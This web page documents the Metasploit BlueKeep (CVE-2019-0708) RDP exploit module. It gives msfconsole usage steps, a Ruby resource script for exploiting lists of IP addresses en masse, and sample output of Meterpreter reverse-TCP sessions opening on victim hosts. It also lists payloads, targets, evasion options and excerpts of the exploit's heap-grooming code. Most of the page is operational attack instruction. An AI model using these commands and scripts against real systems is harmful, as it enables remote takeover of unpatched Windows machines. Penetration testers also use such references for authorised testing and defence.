CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free - Metasploit
This page contains detailed information about how to use the exploit/windows/rdp/cve_2019_0708_bluekeep_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Source code: modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
Disclosure date: 2019-05-14
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 3389
List of CVEs: CVE-2019-0708
This module is also known as Bluekeep.
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets. Windows 7 SP1 should be exploitable in its default configuration, assuming your target selection is correctly matched to the system's memory layout. HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam needs to be set to 0 for exploitation to succeed against Windows Server 2008 R2. This is a non-standard configuration for normal servers, and the target will crash if the aforementioned Registry key is not set! If the target is crashing regardless, you will likely need to determine the non-paged pool base in kernel memory and set it as the GROOMBASE option.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
Using cve_2019_0708_bluekeep_rce against a single host
Normally, you can use exploit/windows/rdp/cve_2019_0708_bluekeep_rce this way:
msf > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf exploit(cve_2019_0708_bluekeep_rce) > show targets
... a list of targets ...
msf exploit(cve_2019_0708_bluekeep_rce) > set TARGET target-id
msf exploit(cve_2019_0708_bluekeep_rce) > show options
... show and set options ...
msf exploit(cve_2019_0708_bluekeep_rce) > exploit
Using cve_2019_0708_bluekeep_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your cve_2019_0708_bluekeep_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/rdp/cve_2019_0708_bluekeep_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
CheckModule: Module to check with
Knowledge Base
CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
allowing a malformed Disconnect Provider Indication message to cause use-after-free.
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
the freed channel is used to achieve arbitrary code execution.
Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.
Windows 7 SP1 should be exploitable in its default configuration, assuming your target selection is correctly matched to the system's memory layout.
HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
needs to be set to 0 for exploitation to succeed against Windows Server 2008 R2.
This is a non-standard configuration for normal servers, and the target will crash if
the aforementioned Registry key is not set!
If the target is crashing regardless, you will likely need to determine the non-paged
pool base in kernel memory and set it as the GROOMBASE option.
Vulnerable Application
This exploit module currently targets these Windows systems running on several virtualized and physical targets.
- Windows 7 SP1 x64
- Windows 2008 R2 x64
XP and 2003 are currently not supported. Please see available targets by running the show targets command.
Verification Steps
- [ ] Start
msfconsole - [ ]
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce - [ ]
set RHOSTSto Windows 7/2008 x64 - [ ]
set TARGETbased on target host characteristics - [ ]
set PAYLOAD - [ ]
exploit - [ ] Verify that you get a shell
- [ ] Verify that you do not crash
Options
Go back to menu.
Msfconsole Usage
Here is how the windows/rdp/cve_2019_0708_bluekeep_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show info
Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2019-05-14
Provided by:
Sean Dillon <[email protected]>
Ryan Hanson
OJ Reeves <[email protected]>
Brent Cook <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic targeting via fingerprinting
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
5 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
6 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
7 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
8 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
RDP_DOMAIN no The client domain name to report during connect
RDP_USER no The username to report during connect, UNSET = random
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3389 yes The target port (TCP)
Payload information:
Space: 952
Description:
The RDP termdd.sys driver improperly handles binds to internal-only
channel MS_T120, allowing a malformed Disconnect Provider Indication
message to cause use-after-free. With a controllable data/size
remote nonpaged pool spray, an indirect call gadget of the freed
channel is used to achieve arbitrary code execution. Windows 7 SP1
and Windows Server 2008 R2 are the only currently supported targets.
Windows 7 SP1 should be exploitable in its default configuration,
assuming your target selection is correctly matched to the system's
memory layout.
HKLM\SYSTEM\Curr entControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
*needs* to be set to 0 for exploitation to succeed against Windows
Server 2008 R2. This is a non-standard configuration for normal
servers, and the target will crash if the aforementioned Registry
key is not set! If the target is crashing regardless, you will
likely need to determine the non-paged pool base in kernel memory
and set it as the GROOMBASE option.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-0708
https://github.com/zerosum0x0/CVE-2019-0708
https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html
Also known as:
Bluekeep
Module Options
This is a complete list of options available in the windows/rdp/cve_2019_0708_bluekeep_rce exploit:
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options
Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
RDP_DOMAIN no The client domain name to report during connect
RDP_USER no The username to report during connect, UNSET = random
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3389 yes The target port (TCP)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic targeting via fingerprinting
Advanced Options
Here is a complete list of advanced options supported by the windows/rdp/cve_2019_0708_bluekeep_rce exploit:
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show advanced
Module advanced options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CPORT no The local client port
CheckModule auxiliary/scanner/rdp/cve_2019_0708_bluekeep yes Module to check with
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
GROOMCHANNEL RDPSND yes Channel to use for grooming (Accepted: RDPSND, MS_T120)
GROOMCHANNELCOUNT 1 yes Number of channels to groom
GROOMDELAY 0 no Delay in seconds between sending 1 MB of groom packets
GROOMSIZE 250 yes Size of the groom in MB
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RDP_TLS_SECURITY_LEVEL 0 yes Change default TLS security level. "0" (default) means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/rdp/cve_2019_0708_bluekeep_rce module can exploit:
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic targeting via fingerprinting
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
5 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
6 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
7 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
8 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/rdp/cve_2019_0708_bluekeep_rce exploit:
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
21 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
22 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
23 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
24 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
27 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
28 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
29 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
30 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
31 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
32 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
33 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
34 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
35 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
36 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
37 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
38 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
39 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
40 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
41 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
42 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
43 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
44 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
45 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
46 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
47 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
48 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
49 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
50 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
52 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
53 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
56 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/rdp/cve_2019_0708_bluekeep_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !
- Unable to connect to RDP service
- Unable to connect to RDP service
- Server requires NLA (CredSSP) security which mitigates this vulnerability.
- Negotiation of security failed.
- <---------------- | Entering Danger Zone | ---------------->
- <---------------- | Leaving Danger Zone | ---------------->
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !
Here is a relevant code snippet related to the "Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !" error message:
213: )
214: end
215:
216: def exploit
217: if target['FingerprintOnly']
218: fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !')
219: end
220:
221: begin
222: rdp_connect
223: rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
Unable to connect to RDP service
Here is a relevant code snippet related to the "Unable to connect to RDP service" error message:
219: end
220:
221: begin
222: rdp_connect
223: rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
224: fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
225: end
226:
227: is_rdp, server_selected_proto = rdp_check_protocol
228: unless is_rdp
229: fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
Unable to connect to RDP service
Here is a relevant code snippet related to the "Unable to connect to RDP service" error message:
224: fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
225: end
226:
227: is_rdp, server_selected_proto = rdp_check_protocol
228: unless is_rdp
229: fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
230: end
231:
232: # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
233: # from exploiting the target.
234: if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
Server requires NLA (CredSSP) security which mitigates this vulnerability.
Here is a relevant code snippet related to the "Server requires NLA (CredSSP) security which mitigates this vulnerability." error message:
230: end
231:
232: # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
233: # from exploiting the target.
234: if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
235: fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
236: end
237:
238: chans = [
239: ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
240: [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
Negotiation of security failed.
Here is a relevant code snippet related to the "Negotiation of security failed." error message:
249: ]
250:
251: @mst120_chan_id = 1004 + chans.length - 1
252:
253: unless rdp_negotiate_security(chans, server_selected_proto)
254: fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
255: end
256:
257: rdp_establish_session
258:
259: rdp_dispatch_loop
<---------------- | Entering Danger Zone | ---------------->
Here is a relevant code snippet related to the "<---------------- | Entering Danger Zone | ---------------->" error message:
280: spray_buffer = create_exploit_channel_buffer(pool_addr)
281: spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
282: free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80
283:
284: # if the exploit is cancelled during the free, target computer will explode
285: print_warning("<---------------- | Entering Danger Zone | ---------------->")
286:
287: print_status("Surfing channels ...")
288: rdp_send(spray_channel * 1024)
289: rdp_send(free_trigger)
290:
<---------------- | Leaving Danger Zone | ---------------->
Here is a relevant code snippet related to the "<---------------- | Leaving Danger Zone | ---------------->" error message:
337:
338: # Terminating and disconnecting forces the USE
339: print_status("Forcing the USE of FREE'd object ...")
340:
341: # target is groomed, the early cancellation dangers are complete
342: print_warning("<---------------- | Leaving Danger Zone | ---------------->")
343: rdp_terminate
344: rdp_disconnect
345: end
346:
347: # Helper function to create the kernel mode payload and the usermode payload with
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Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions
References
- CVE-2019-0708
- https://github.com/zerosum0x0/CVE-2019-0708
- https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html
See Also
Check also the following modules related to this module:
- auxiliary/scanner/rdp/cve_2019_0708_bluekeep
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/windows/rdp/rdp_doublepulsar_rce
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/multi/http/cisco_dcnm_upload_2019
Related Nessus plugins:
- KB4499180: Windows Server 2008 and Windows Vista SP2 May 2019 Security Update (BlueKeep)
- KB4499175: Windows 7 and Windows Server 2008 R2 May 2019 Security Update (MDSUM/RIDL) (MFBDS/RIDL/ZombieLoad) (MLPDS/RIDL) (MSBDS/Fallout) (BlueKeep)
